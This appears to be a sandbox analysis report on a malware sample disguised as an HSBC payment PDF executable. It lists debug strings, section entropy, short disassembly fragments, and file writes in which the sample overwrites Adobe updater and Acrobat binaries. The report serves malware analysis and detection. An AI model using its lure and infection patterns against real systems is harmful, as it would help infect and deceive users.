Source:	Binary string: D:\T\BuildResults\bin\Release_x64\WebInstaller\AcroMiniServicesUpdater.pdb source: armsvc.exe, 00000002.00000003.2313938589.0000000002170000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: D:\T\BuildResults\bin\Release_x64\plug_ins\pi_brokers\MSRMSPIBroker.pdbAAAGCTL source: armsvc.exe, 00000002.00000003.2520750175.0000000002180000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: D:\dbs\el\omr\Target\x64\ship\click2run\x-none\InspectorOfficeGadget.pdb source: armsvc.exe, 00000002.00000003.2614372784.0000000002170000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: D:\a\_work\e\src\out\Release_x64\msedge_proxy.exe.pdb source: msedge_proxy.exe.2.dr
Source:	Binary string: D:\T\Acrobat\Installers\ShowAppPickerForPDF\Release_x64\ShowAppPickerForPDF.pdb source: armsvc.exe, 00000002.00000003.2540240807.00000000019C0000.00000004.00001000.00020000.00000000.sdmp, armsvc.exe, 00000002.00000003.2532596834.0000000002180000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: c:\jenkins\workspace\8-2-build-windows-i586-cygwin-sans-NAS\jdk8u381\237\build\windows-i586\jdk\objs\servertool_objs\servertool.pdb source: servertool.exe.2.dr
Source:	Binary string: WmiApSrv.pdbGCTL source: armsvc.exe, 00000002.00000003.2212157226.00000000021B0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: D:\T\BuildResults\bin\Release_x64\WCChromeNativeMessagingHost.pdb888 source: armsvc.exe, 00000002.00000003.2429484091.0000000002180000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: Acrobat_SL.pdb((( source: armsvc.exe, 00000002.00000003.2277891701.0000000002130000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: D:\a\_work\e\src\out\Release_x64\msedge_proxy.exe.pdbOGP source: msedge_proxy.exe.2.dr
Source:	Binary string: pingsender.pdb source: armsvc.exe, 00000002.00000003.2804279268.0000000000840000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: DiagnosticsHub.StandardCollector.Service.pdbGCTL source: HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe, 00000000.00000003.2111485745.0000000004140000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: c:\jenkins\workspace\8-2-build-windows-i586-cygwin-sans-NAS\jdk8u381\237\build\windows-i586\jdk\objs\java-rmi_objs\java-rmi.pdb source: java-rmi.exe.2.dr
Source:	Binary string: ADelRCP_Exec.pdbCC9 source: armsvc.exe, 00000002.00000003.2401899087.0000000002180000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: D:\DCB\CBT_Main\BuildResults\bin\Win32\Release\AdobeARMHelper.pdb source: AdobeARMHelper.exe.2.dr
Source:	Binary string: D:\T\BuildResults\bin\Release_x64\AcroBroker.pdb source: armsvc.exe, 00000002.00000003.2296158721.00000000020F0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: Acrobat_SL.pdb source: armsvc.exe, 00000002.00000003.2277891701.0000000002130000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: wbengine.pdb source: wbengine.exe.2.dr
Source:	Binary string: private_browsing.pdb source: private_browsing.exe.2.dr
Source:	Binary string: E:\PkgInstaller\base\ntsetup\SrvPack.Main\tools\sfxcab\sfxcab\objfre\i386\sfxcab.pdbU source: armsvc.exe, 00000002.00000003.2582334419.0000000002180000.00000004.00001000.00020000.00000000.sdmp, armsvc.exe, 00000002.00000003.2590265360.00000000020E0000.00000004.00001000.00020000.00000000.sdmp, armsvc.exe, 00000002.00000003.2581292600.0000000002170000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: c:\jenkins\workspace\8-2-build-windows-i586-cygwin-sans-NAS\jdk8u381\237\build\windows-i586\jdk\objs\java_objs\java.pdb source: java.exe.2.dr
Source:	Binary string: D:\T\BuildResults\bin\Release_x64\WebInstaller\AcroMiniServicesUpdater.pdbT source: armsvc.exe, 00000002.00000003.2313938589.0000000002170000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: C:\workspace\CR-Windows-x64-Client-Builder\x64\Release\CRWindowsClientService.pdbGG source: armsvc.exe, 00000002.00000003.2449580462.0000000002180000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: D:\T\BuildResults\bin\Release_x64\AcrobatInfo.pdb))) source: armsvc.exe, 00000002.00000003.2271603992.0000000002130000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: mavinject32.pdb source: armsvc.exe, 00000002.00000003.2633067846.0000000002180000.00000004.00001000.00020000.00000000.sdmp, armsvc.exe, 00000002.00000003.2628302766.00000000021A0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: snmptrap.pdbGCTL source: armsvc.exe, 00000002.00000003.2158998087.00000000021F0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: 64BitMAPIBroker.pdb source: armsvc.exe, 00000002.00000003.2508157176.0000000002180000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: maintenanceservice.pdb source: armsvc.exe, 00000002.00000003.2783650894.00000000007C0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: D:\dbs\el\omr\Target\x64\ship\click2run\x-none\InspectorOfficeGadget.pdbY source: armsvc.exe, 00000002.00000003.2614372784.0000000002170000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: firefox.pdb source: armsvc.exe, 00000002.00000003.2776337614.00000000007C0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: E:\jenkins\workspace\NGL_WORKFLOW\build\master\win64\Release\Acrobat\project\win\ngl-workflow\x64\Release (Acrobat)\adobe_licensing_wf_helper_acro.pdb source: armsvc.exe, 00000002.00000003.2489813894.0000000002180000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: firefox.pdbP source: armsvc.exe, 00000002.00000003.2776337614.00000000007C0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: D:\T\BuildResults\bin\Release_x64\WCChromeNativeMessagingHost.pdb source: armsvc.exe, 00000002.00000003.2429484091.0000000002180000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: c:\jenkins\workspace\8-2-build-windows-i586-cygwin-sans-NAS\jdk8u381\237\build\windows-i586\jdk\objs\servertool_objs\servertool.pdb source: servertool.exe.2.dr
Source:	Binary string: C:\work\p4\splinters\Splinters\S\BuildResults\bin\Win32\ReaderRelease\FullTrustNotifier\FullTrustNotifier.pdb source: armsvc.exe, 00000002.00000003.2525911259.0000000002180000.00000004.00001000.00020000.00000000.sdmp, FullTrustNotifier.exe.2.dr
Source:	Binary string: C:\workspace\CR-Windows-x64-Client-Builder\x64\Release\CRWindowsClientService.pdb source: armsvc.exe, 00000002.00000003.2449580462.0000000002180000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: D:\T\BuildResults\bin\Release\Plug_ins\pi_brokers\32BitMAPIBroker.pdb@@ source: armsvc.exe, 00000002.00000003.2494075294.0000000002180000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: private_browsing.pdbp source: private_browsing.exe.2.dr
Source:	Binary string: D:\T\BuildResults\bin\Release_x64\plug_ins\pi_brokers\MSRMSPIBroker.pdb source: armsvc.exe, 00000002.00000003.2520750175.0000000002180000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: maintenanceservice.pdb` source: armsvc.exe, 00000002.00000003.2783650894.00000000007C0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: c:\jenkins\workspace\8-2-build-windows-i586-cygwin-sans-NAS\jdk8u381\237\build\windows-i586\jdk\objs\java-rmi_objs\java-rmi.pdb source: java-rmi.exe.2.dr
Source:	Binary string: D:\T\Acrobat\Installers\ShowAppPickerForPDF\Release_x64\ShowAppPickerForPDF.pdb$$ source: armsvc.exe, 00000002.00000003.2540240807.00000000019C0000.00000004.00001000.00020000.00000000.sdmp, armsvc.exe, 00000002.00000003.2532596834.0000000002180000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: WmiApSrv.pdb source: armsvc.exe, 00000002.00000003.2212157226.00000000021B0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: TieringEngineService.pdb source: armsvc.exe, 00000002.00000003.2181024271.0000000002200000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: TieringEngineService.pdbGCTL source: armsvc.exe, 00000002.00000003.2181024271.0000000002200000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: D:\DCB\CBT_Main\BuildResults\bin\Win32\Release\AdobeARMHelper.pdbr source: AdobeARMHelper.exe.2.dr
Source:	Binary string: D:\T\BuildResults\bin\Release_x64\Eula.pdb source: armsvc.exe, 00000002.00000003.2455646174.0000000002180000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: ALG.pdb source: HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe, 00000000.00000003.2090731702.0000000003ED0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: minidump-analyzer.pdb source: minidump-analyzer.exe.2.dr
Source:	Binary string: DiagnosticsHub.StandardCollector.Service.pdb source: HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe, 00000000.00000003.2111485745.0000000004140000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: C:\Data\svn\autoit\branch_3.3.16\bin\Aut2Exe\Aut2Exe_x64.pdb source: Aut2exe_x64.exe.2.dr
Source:	Binary string: ALG.pdbGCTL source: HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe, 00000000.00000003.2090731702.0000000003ED0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: PresentationFontCache.pdbHt^t Pt_CorExeMainmscoree.dll source: HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe, 00000000.00000003.2124835296.0000000004130000.00000004.00001000.00020000.00000000.sdmp, armsvc.exe, 00000002.00000003.2156732156.00000000021E0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: d:\dbs\el\omr\target\x64\ship\c2rsvcmgr\x-none\OfficeSvcMgr.pdb00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000S source: officesvcmgr.exe.2.dr
Source:	Binary string: D:\T\BuildResults\bin\Release_x64\AcroBroker.pdbTTT source: armsvc.exe, 00000002.00000003.2296158721.00000000020F0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: wbengine.pdbGCTL source: wbengine.exe.2.dr
Source:	Binary string: d:\dbs\el\omr\target\x64\ship\c2rsvcmgr\x-none\OfficeSvcMgr.pdb source: officesvcmgr.exe.2.dr
Source:	Binary string: ssh-agent.pdbX source: armsvc.exe, 00000002.00000003.2175446283.0000000002200000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: AppVShNotify.pdb source: armsvc.exe, 00000002.00000003.2609607534.0000000002180000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: snmptrap.pdb source: armsvc.exe, 00000002.00000003.2158998087.00000000021F0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: D:\T\BuildResults\bin\Release\Plug_ins\pi_brokers\32BitMAPIBroker.pdb source: armsvc.exe, 00000002.00000003.2494075294.0000000002180000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: D:\T\BuildResults\bin\Release_x64\Eula.pdb888 source: armsvc.exe, 00000002.00000003.2455646174.0000000002180000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: AppVShNotify.pdbGCTL source: armsvc.exe, 00000002.00000003.2609607534.0000000002180000.00000004.00001000.00020000.00000000.sdmp

Source: msiexec.exe.0.dr

Static PE information: 0x88D88F1C [Thu Oct 2 20:16:28 2042 UTC]

Source: elevation_service.exe.0.dr	Static PE information: section name: .00cfg
Source: elevation_service.exe.0.dr	Static PE information: section name: .gxfg
Source: elevation_service.exe.0.dr	Static PE information: section name: .retplne
Source: elevation_service.exe.0.dr	Static PE information: section name: _RDATA
Source: elevation_service.exe.0.dr	Static PE information: section name: malloc_h
Source: maintenanceservice.exe.0.dr	Static PE information: section name: .00cfg
Source: maintenanceservice.exe.0.dr	Static PE information: section name: .voltbl
Source: maintenanceservice.exe.0.dr	Static PE information: section name: _RDATA
Source: msdtc.exe.0.dr	Static PE information: section name: .didat
Source: msiexec.exe.0.dr	Static PE information: section name: .didat
Source: MsSense.exe.0.dr	Static PE information: section name: .didat
Source: armsvc.exe.0.dr	Static PE information: section name: .didat
Source: alg.exe.0.dr	Static PE information: section name: .didat
Source: FXSSVC.exe.0.dr	Static PE information: section name: .didat
Source: elevation_service.exe0.0.dr	Static PE information: section name: .00cfg
Source: elevation_service.exe0.0.dr	Static PE information: section name: .gxfg
Source: elevation_service.exe0.0.dr	Static PE information: section name: .retplne
Source: elevation_service.exe0.0.dr	Static PE information: section name: _RDATA
Source: elevation_service.exe0.0.dr	Static PE information: section name: malloc_h
Source: private_browsing.exe.2.dr	Static PE information: section name: .00cfg
Source: private_browsing.exe.2.dr	Static PE information: section name: .voltbl
Source: updater.exe.2.dr	Static PE information: section name: .00cfg
Source: updater.exe.2.dr	Static PE information: section name: .voltbl
Source: updater.exe.2.dr	Static PE information: section name: _RDATA
Source: 117.0.5938.132_chrome_installer.exe.2.dr	Static PE information: section name: .00cfg
Source: 117.0.5938.132_chrome_installer.exe.2.dr	Static PE information: section name: .retplne
Source: Spectrum.exe.2.dr	Static PE information: section name: .didat
Source: TieringEngineService.exe.2.dr	Static PE information: section name: .didat
Source: vds.exe.2.dr	Static PE information: section name: .didat
Source: VSSVC.exe.2.dr	Static PE information: section name: .didat
Source: unpack200.exe.2.dr	Static PE information: section name: .00cfg
Source: ie_to_edge_stub.exe.2.dr	Static PE information: section name: .00cfg
Source: ie_to_edge_stub.exe.2.dr	Static PE information: section name: .gxfg
Source: ie_to_edge_stub.exe.2.dr	Static PE information: section name: .retplne
Source: ie_to_edge_stub.exe.2.dr	Static PE information: section name: _RDATA
Source: cookie_exporter.exe.2.dr	Static PE information: section name: .00cfg
Source: cookie_exporter.exe.2.dr	Static PE information: section name: .gxfg
Source: cookie_exporter.exe.2.dr	Static PE information: section name: .retplne
Source: cookie_exporter.exe.2.dr	Static PE information: section name: _RDATA
Source: identity_helper.exe.2.dr	Static PE information: section name: .00cfg
Source: identity_helper.exe.2.dr	Static PE information: section name: .gxfg
Source: identity_helper.exe.2.dr	Static PE information: section name: .retplne
Source: identity_helper.exe.2.dr	Static PE information: section name: _RDATA
Source: identity_helper.exe.2.dr	Static PE information: section name: malloc_h
Source: setup.exe.2.dr	Static PE information: section name: .00cfg
Source: setup.exe.2.dr	Static PE information: section name: .gxfg
Source: setup.exe.2.dr	Static PE information: section name: .retplne
Source: setup.exe.2.dr	Static PE information: section name: LZMADEC
Source: setup.exe.2.dr	Static PE information: section name: _RDATA
Source: setup.exe.2.dr	Static PE information: section name: malloc_h
Source: msedgewebview2.exe.2.dr	Static PE information: section name: .00cfg
Source: msedgewebview2.exe.2.dr	Static PE information: section name: .gxfg
Source: msedgewebview2.exe.2.dr	Static PE information: section name: .retplne
Source: msedgewebview2.exe.2.dr	Static PE information: section name: CPADinfo
Source: msedgewebview2.exe.2.dr	Static PE information: section name: LZMADEC
Source: msedgewebview2.exe.2.dr	Static PE information: section name: _RDATA
Source: msedgewebview2.exe.2.dr	Static PE information: section name: malloc_h
Source: msedge_proxy.exe.2.dr	Static PE information: section name: .00cfg
Source: msedge_proxy.exe.2.dr	Static PE information: section name: .gxfg
Source: msedge_proxy.exe.2.dr	Static PE information: section name: .retplne
Source: msedge_proxy.exe.2.dr	Static PE information: section name: _RDATA
Source: msedge_proxy.exe.2.dr	Static PE information: section name: malloc_h
Source: WmiApSrv.exe.2.dr	Static PE information: section name: .didat
Source: wmpnetwk.exe.2.dr	Static PE information: section name: .didat
Source: SearchIndexer.exe.2.dr	Static PE information: section name: .didat
Source: Acrobat.exe.2.dr	Static PE information: section name: .didat
Source: Acrobat.exe.2.dr	Static PE information: section name: _RDATA
Source: msedge_pwa_launcher.exe.2.dr	Static PE information: section name: .00cfg
Source: msedge_pwa_launcher.exe.2.dr	Static PE information: section name: .gxfg
Source: msedge_pwa_launcher.exe.2.dr	Static PE information: section name: .retplne
Source: msedge_pwa_launcher.exe.2.dr	Static PE information: section name: LZMADEC
Source: msedge_pwa_launcher.exe.2.dr	Static PE information: section name: _RDATA
Source: msedge_pwa_launcher.exe.2.dr	Static PE information: section name: malloc_h
Source: notification_click_helper.exe.2.dr	Static PE information: section name: .00cfg
Source: notification_click_helper.exe.2.dr	Static PE information: section name: .gxfg
Source: notification_click_helper.exe.2.dr	Static PE information: section name: .retplne
Source: notification_click_helper.exe.2.dr	Static PE information: section name: CPADinfo
Source: notification_click_helper.exe.2.dr	Static PE information: section name: _RDATA
Source: notification_click_helper.exe.2.dr	Static PE information: section name: malloc_h
Source: pwahelper.exe.2.dr	Static PE information: section name: .00cfg
Source: pwahelper.exe.2.dr	Static PE information: section name: .gxfg
Source: pwahelper.exe.2.dr	Static PE information: section name: .retplne
Source: pwahelper.exe.2.dr	Static PE information: section name: _RDATA
Source: pwahelper.exe.2.dr	Static PE information: section name: malloc_h
Source: msedge_proxy.exe0.2.dr	Static PE information: section name: .00cfg
Source: msedge_proxy.exe0.2.dr	Static PE information: section name: .gxfg
Source: msedge_proxy.exe0.2.dr	Static PE information: section name: .retplne
Source: msedge_proxy.exe0.2.dr	Static PE information: section name: _RDATA
Source: msedge_proxy.exe0.2.dr	Static PE information: section name: malloc_h
Source: pwahelper.exe0.2.dr	Static PE information: section name: .00cfg
Source: pwahelper.exe0.2.dr	Static PE information: section name: .gxfg
Source: pwahelper.exe0.2.dr	Static PE information: section name: .retplne
Source: pwahelper.exe0.2.dr	Static PE information: section name: _RDATA
Source: pwahelper.exe0.2.dr	Static PE information: section name: malloc_h
Source: MicrosoftEdgeUpdate.exe.2.dr	Static PE information: section name: .didat
Source: MicrosoftEdgeUpdateBroker.exe.2.dr	Static PE information: section name: .didat
Source: MicrosoftEdgeUpdateComRegisterShell64.exe.2.dr	Static PE information: section name: .didat
Source: MicrosoftEdgeUpdateComRegisterShell64.exe.2.dr	Static PE information: section name: _RDATA
Source: MicrosoftEdgeUpdateCore.exe.2.dr	Static PE information: section name: .didat
Source: MicrosoftEdgeUpdateOnDemand.exe.2.dr	Static PE information: section name: .didat
Source: AcroCEF.exe.2.dr	Static PE information: section name: .didat
Source: AcroCEF.exe.2.dr	Static PE information: section name: _RDATA
Source: SingleClientServicesUpdater.exe.2.dr	Static PE information: section name: .didat
Source: SingleClientServicesUpdater.exe.2.dr	Static PE information: section name: _RDATA
Source: AcroCEF.exe0.2.dr	Static PE information: section name: .didat
Source: AcroCEF.exe0.2.dr	Static PE information: section name: _RDATA

Source: C:\Windows\System32\AppVClient.exe	Code function: 7_2_007468CE push E9000001h; retn 0000h	7_2_007468D3
Source: C:\Windows\System32\AppVClient.exe	Code function: 7_2_007452E3 push E9000001h; retf 0000h	7_2_007452E8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\elevation_service.exe	Code function: 11_2_008968CE push E9000001h; retn 0000h	11_2_008968D3
Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\elevation_service.exe	Code function: 11_2_008952E3 push E9000001h; retf 0000h	11_2_008952E8
Source: C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe	Code function: 12_2_01A568CE push E9000001h; retn 0000h	12_2_01A568D3
Source: C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe	Code function: 12_2_01A552E3 push E9000001h; retf 0000h	12_2_01A552E8
Source: C:\Windows\System32\PerceptionSimulation\PerceptionSimulationService.exe	Code function: 14_2_00B768CE push E9000001h; retn 0000h	14_2_00B768D3
Source: C:\Windows\System32\PerceptionSimulation\PerceptionSimulationService.exe	Code function: 14_2_00B752E3 push E9000001h; retf 0000h	14_2_00B752E8
Source: C:\Windows\SysWOW64\perfhost.exe	Code function: 15_2_006C58F1 push 006C5856h; ret	15_2_006C5908
Source: C:\Windows\SysWOW64\perfhost.exe	Code function: 15_2_006E7960 push 006E7904h; ret	15_2_006E78F8
Source: C:\Windows\SysWOW64\perfhost.exe	Code function: 15_2_006E7960 push 006E78C7h; ret	15_2_006E7940
Source: C:\Windows\SysWOW64\perfhost.exe	Code function: 15_2_006E7960 push 006E7DE8h; ret	15_2_006E79A8
Source: C:\Windows\SysWOW64\perfhost.exe	Code function: 15_2_006E7960 push 006E7B68h; ret	15_2_006E7BE4
Source: C:\Windows\SysWOW64\perfhost.exe	Code function: 15_2_006E7960 push 006E7C47h; ret	15_2_006E7BEC
Source: C:\Windows\SysWOW64\perfhost.exe	Code function: 15_2_006E7960 push 006E7FD6h; ret	15_2_006E7C15
Source: C:\Windows\SysWOW64\perfhost.exe	Code function: 15_2_006E7960 push 006E7D34h; ret	15_2_006E7C9B
Source: C:\Windows\SysWOW64\perfhost.exe	Code function: 15_2_006E7960 push 006E7E06h; ret	15_2_006E7D33
Source: C:\Windows\SysWOW64\perfhost.exe	Code function: 15_2_006E7960 push 006E8004h; ret	15_2_006E7E25
Source: C:\Windows\SysWOW64\perfhost.exe	Code function: 15_2_006E7960 push 006E7C7Ch; ret	15_2_006E7E6E
Source: C:\Windows\SysWOW64\perfhost.exe	Code function: 15_2_006E7960 push 006E7FC8h; ret	15_2_006E7F80
Source: C:\Windows\SysWOW64\perfhost.exe	Code function: 15_2_006E7960 push 006E7D4Ah; ret	15_2_006E7FC6
Source: C:\Windows\SysWOW64\perfhost.exe	Code function: 15_2_006E7960 push 006E7986h; ret	15_2_006E8052
Source: C:\Windows\SysWOW64\perfhost.exe	Code function: 15_2_006E7960 push 006E7EDBh; ret	15_2_006E8076
Source: C:\Windows\SysWOW64\perfhost.exe	Code function: 15_2_006E7960 push 006E8077h; ret	15_2_006E80AC
Source: C:\Windows\SysWOW64\perfhost.exe	Code function: 15_2_006C8140 push 006C5D22h; ret	15_2_006C5CB0
Source: C:\Windows\SysWOW64\perfhost.exe	Code function: 15_2_006C8140 push 006C5C60h; ret	15_2_006C5D09
Source: C:\Windows\SysWOW64\perfhost.exe	Code function: 15_2_006C8140 push 006C5FAEh; ret	15_2_006C5F1A
Source: C:\Windows\SysWOW64\perfhost.exe	Code function: 15_2_006C8140 push 006C5EE7h; ret	15_2_006C5F39
Source: C:\Windows\SysWOW64\perfhost.exe	Code function: 15_2_006C8140 push 006C62B2h; ret	15_2_006C604C
Source: C:\Windows\SysWOW64\perfhost.exe	Code function: 15_2_006C8140 push 006C631Bh; ret	15_2_006C639A
Source: C:\Windows\SysWOW64\perfhost.exe	Code function: 15_2_006C8140 push 006C63FFh; ret	15_2_006C642E

Source: HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe	Static PE information: section name: .reloc entropy: 7.92048352815656
Source: elevation_service.exe.0.dr	Static PE information: section name: .reloc entropy: 7.933942775083277
Source: AppVClient.exe.0.dr	Static PE information: section name: .reloc entropy: 7.923551573945185
Source: FXSSVC.exe.0.dr	Static PE information: section name: .reloc entropy: 7.930049273539673
Source: elevation_service.exe0.0.dr	Static PE information: section name: .reloc entropy: 7.931710608490168
Source: SensorDataService.exe.0.dr	Static PE information: section name: .reloc entropy: 7.922508358648496
Source: 117.0.5938.132_chrome_installer.exe.2.dr	Static PE information: section name: .reloc entropy: 7.922137446772068
Source: Aut2exe.exe.2.dr	Static PE information: section name: .rsrc entropy: 7.796131717000906
Source: Aut2exe_x64.exe.2.dr	Static PE information: section name: .rsrc entropy: 7.796265449576229
Source: AutoIt3_x64.exe.2.dr	Static PE information: section name: .reloc entropy: 7.931903463252608
Source: SciTE.exe.2.dr	Static PE information: section name: .reloc entropy: 7.902670479835503
Source: Spectrum.exe.2.dr	Static PE information: section name: .reloc entropy: 7.9333003267542574
Source: AgentService.exe.2.dr	Static PE information: section name: .reloc entropy: 7.924377519176522
Source: vds.exe.2.dr	Static PE information: section name: .reloc entropy: 7.9288065988421526
Source: VSSVC.exe.2.dr	Static PE information: section name: .reloc entropy: 7.927165005781515
Source: wbengine.exe.2.dr	Static PE information: section name: .reloc entropy: 7.929030644122834
Source: identity_helper.exe.2.dr	Static PE information: section name: .reloc entropy: 7.9282492487747325
Source: setup.exe.2.dr	Static PE information: section name: .reloc entropy: 7.932290448125885
Source: msedgewebview2.exe.2.dr	Static PE information: section name: .reloc entropy: 7.9235591235991345
Source: msedge_proxy.exe.2.dr	Static PE information: section name: .reloc entropy: 7.929869368256591
Source: wmpnetwk.exe.2.dr	Static PE information: section name: .reloc entropy: 7.934824837152571
Source: SearchIndexer.exe.2.dr	Static PE information: section name: .reloc entropy: 7.933777696033448
Source: 7zFM.exe.2.dr	Static PE information: section name: .reloc entropy: 7.919208965965003
Source: 7zG.exe.2.dr	Static PE information: section name: .reloc entropy: 7.914541466416614
Source: Acrobat.exe.2.dr	Static PE information: section name: .reloc entropy: 7.927565188371514
Source: msedge_pwa_launcher.exe.2.dr	Static PE information: section name: .reloc entropy: 7.934263482132398
Source: notification_click_helper.exe.2.dr	Static PE information: section name: .reloc entropy: 7.931785288914606
Source: pwahelper.exe.2.dr	Static PE information: section name: .reloc entropy: 7.928414523184418
Source: msedge_proxy.exe0.2.dr	Static PE information: section name: .reloc entropy: 7.929869279620502
Source: pwahelper.exe0.2.dr	Static PE information: section name: .reloc entropy: 7.928410899512585
Source: AcroCEF.exe.2.dr	Static PE information: section name: .reloc entropy: 7.92439021332001
Source: SingleClientServicesUpdater.exe.2.dr	Static PE information: section name: .reloc entropy: 7.931683844459168
Source: AcroCEF.exe0.2.dr	Static PE information: section name: .reloc entropy: 7.924401011555415

Persistence and Installation Behavior

Source: C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe	File written: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Jump to behavior
Source: C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe	File written: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Jump to behavior
Source: C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe	File written: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Jump to behavior
Source: C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe	File written: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Jump to behavior
Source: C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe	File written: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Jump to behavior
Source: C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe	File written: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Jump to behavior
Source: C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe	File written: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Jump to behavior
Source: C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe	File written: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Jump to behavior
Source: C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe	File written: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Jump to behavior
Source: C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe	File written: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Jump to behavior
Source: C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe	File written: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Jump to behavior
Source: C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe	File written: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Jump to behavior
Source: C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe	File written: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Jump to behavior
Source: C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe	File written: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Jump to behavior
